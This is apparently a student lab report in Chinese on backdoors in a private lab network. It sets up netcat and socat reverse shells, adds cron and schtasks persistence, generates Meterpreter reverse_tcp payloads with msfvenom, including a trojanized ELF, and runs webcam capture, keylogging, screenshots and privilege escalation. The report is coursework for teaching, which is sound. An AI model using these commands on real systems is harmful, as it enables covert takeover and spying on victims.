94
社区成员
使用netcat获取主机操作Shell,cron启动某项任务(任务自定)PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
使用socat获取主机操作Shell, 任务计划启动
使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
掌握后门原理及免杀技术
回答问题
1.例举你能想到的一个后门进入到你系统中的可能方式?
1)社会工程学和钓鱼攻击:黑客可以通过发送钓鱼邮件或伪装成你信任的人来让你向他们提供访问你的系统所需的信息
2)恶意软件和病毒:恶意软件和病毒可以为攻击者建立后门,从而攻击者可以随时访问你的系统。
2.例举你知道的后门如何启动起来(win及linux)的方式?
1)Windows可以通过自启动程序,如在启动文件夹、启动批处理文件或计划任务中添加后门程序的启动命令,以此来建立后门;以及定时任务。
2)Linux修改crontab。
3)Windows的定时任务
3.Meterpreter有哪些给你映像深刻的功能?
1)截屏:可以查看已保存的截屏
2)拍照摄像:Meterpreter支持拍照和摄像功能,可以通过调用目标系统的摄像头,实时记录目标系统情况
3)提权:可以提升至管理员权限
4)多平台支持:Meterpreter支持多种操作系统,包括Windows、Linux和Mac OS X等。
5)动态加载:Meterpreter可以在运行时动态加载新的模块,这使得它可以根据需要扩展功能。
6)会话持久性:Meterpreter可以创建持久会话,即使目标机器重启或断开连接,也可以保持会话的活跃状态。
4.如何发现自己有系统有没有被安装后门?
1)定期进行端口扫描。使用端口扫描工具,扫描系统开放的端口,寻找不寻常的或未知的端口。
2)检查运行中的进程和服务。使用任务管理器或其他系统管理工具,检查系统中运行的进程和服务,尤其是一些不寻常的或未知的进程。
以下实验过程中,主机地址是:192.168.247.181,kali虚拟机地址是192.168.247.183。
1.windows使用netcat反弹连接,获取linux的Shell,通过修改linux的crontab来建立后门
1)在主机终端中,输入命令nc -1 -p 2401,等待监听
之后在虚拟机终端中输入命令nc 192.168.247.181 2401 -e /bin/sh
如下图,主机成功获取虚拟机shell
2)接下来设置cron定时启动任务
我们的目的是进入linux虚拟机中crontabs文件夹,修改其中的配置文件。只有root权限才能访问该文件夹,所以我们先切换至root,如下图
whoami显示主机已经切换至root权限。
windows平台不支持vim、vi等文本编辑器,我们使用echo命令实现我们的目的
我们输入echo "* * * * * echo "20212401" > /home/kali/20212401/20212401.txt" > /var/spool/cron/crontabs/root
这句命令是两层嵌套命令,内层命令将20212401这行文本写入特定文件中,外层命令将内层命令写入crontabs的配置文件中。
如上图,成功输入命令后,我们查看文件是否被写入内容。
成功被写入。
2.kali使用socat反弹连接获取主机操作Shell, 通过修改windows的自启动程序来建立后门
1)下载安装好socat后,在主机端进入socat安装目录,输入socat.exe tcp-listen:2401 exec:cmd.exe, pty, stderr 然后在虚拟机终端中输入socat - tcp:192.168.68.240:2401。这样虚拟机就可以获取主机的shell。
2)编写C语言程序,作为要执行的任务程序,我编写了一段向test.txt文本文件中写入字符串“Hello,20212401!”的C语言代码,如下:
3)然后在虚拟机终端通过schtasks命令设置windows主机的任务计划程序,在虚拟机终端中输入schtasks /create /sc minute /mo 1 /tn "Test20212401" /tr D:\CTFs\lab\pwn\exp2\20212401.exe
4)在主机中打开计算机管理,查看主机的任务计划程序,可以看到我们新建的Test20212401任务。
5)打开主机对应路径,发现新建了test文件,且每一分钟向文件中追加写入内容
3.使用MSF meterpreter生成payload,利用ncat或socat传送到主机并运行获取主机Shell
主机地址是:192.168.247.181,虚拟机地址是:192.168.247.183。
1)在虚拟机中使用MSF meterpreter生成后门程序
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.247.183 LPORT=2401 -f exe > 20212401.exe
2)在主机开启监听,进入ncat目录,在主机终端输入.\ncat -lv 2401 >20212401_backdoor.exe
对比显示,上传成功
4)接下来通过msfconsole命令进入并配置metasploit:
5)在主机中执行传入的20212401_backdoor.exe文件,实现虚拟机获取主机的shell
如下图,成功获取shell
4.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
1)获取目标主机音频
2)获取主机摄像头
输入 webcam_snap
获取主机击键记录
输入keyscan_start开始记录,在主机中输入20212401,然后输入keyscan_dump读取击键记录
4)获取截屏信息
输入screenshot
5)尝试提权
输入getsystem命令,然而windows有UAC保护,需要使用exploit的其他模块绕过UAC保护,具体参考如下博文(https://blog.csdn.net/redwand/article/details/107527710)
也可以在主机用管理员身份运行payload,然后虚拟机运行getsystem命令,提权成功
6)其他攻击
shell getShell
webcam_chat Start a video chat
webcam_stream Play a video stream
the specified webcam
5.使用MSF生成shellcode,注入到实验1中的pwn1中,获取反弹连接Shell
1)生成shellcode,并用elf格式注入实验1中的pwn1中。
命令解释如下
msfvenom:调用Metasploit的venom工具。
-p linux/x86/meterpreter/reverse_tcp:指定要使用的payload类型。在这个例子中,linux/x86/meterpreter/reverse_tcp 表示生成一个针对 Linux系统x86架构的Meterpreter反向TCP连接载荷。Meterpreter是一个高级的内存中的payload,提供了广泛的功能,如命令 shell、系统信息收集、键盘记录等。
-x pwn1:指定要感染的文件。在这个例子中,-x 选项后面跟着的 pwn1 表示 msfvenom 将会尝试感染名为 pwn1 的文件。这通常是在创建一个特洛伊木马文件时使用,目的是让目标系统执行载荷。
-f elf:指定输出文件的格式。-f elf 表示生成的文件将是一个ELF(Executable and Linkable Format)格式的文件,这是Linux系统上常见的可执行文件格式。
pwn_exp2:将输出重定向到一个文件。> 是重定向操作符,pwn_exp2 是新文件的名称。这意味着 msfvenom 将会把生成的恶意载荷保存到名为 pwn_exp2 的文件中。
生成payload
注意给文件添加可执行权限
2)新建一个终端,配置metasploit
3)执行exploit,成功获取shell
在点击虚拟机传到主机的payload程序时,总是显示该文件被其他程序占用
后来意识到是上传文件的netcat进程还在使用该文件。关闭这个进程就好。
经过本次实验我真切的体会到自己的电脑并不是那么的安全,有可能电脑里头某个看起来非常正常的进程的某一个线程中正控制着摄像头,记录着敲击的每一个按键...
同时感觉到安全领域知识非常丰富,还需抓紧学习,学无止境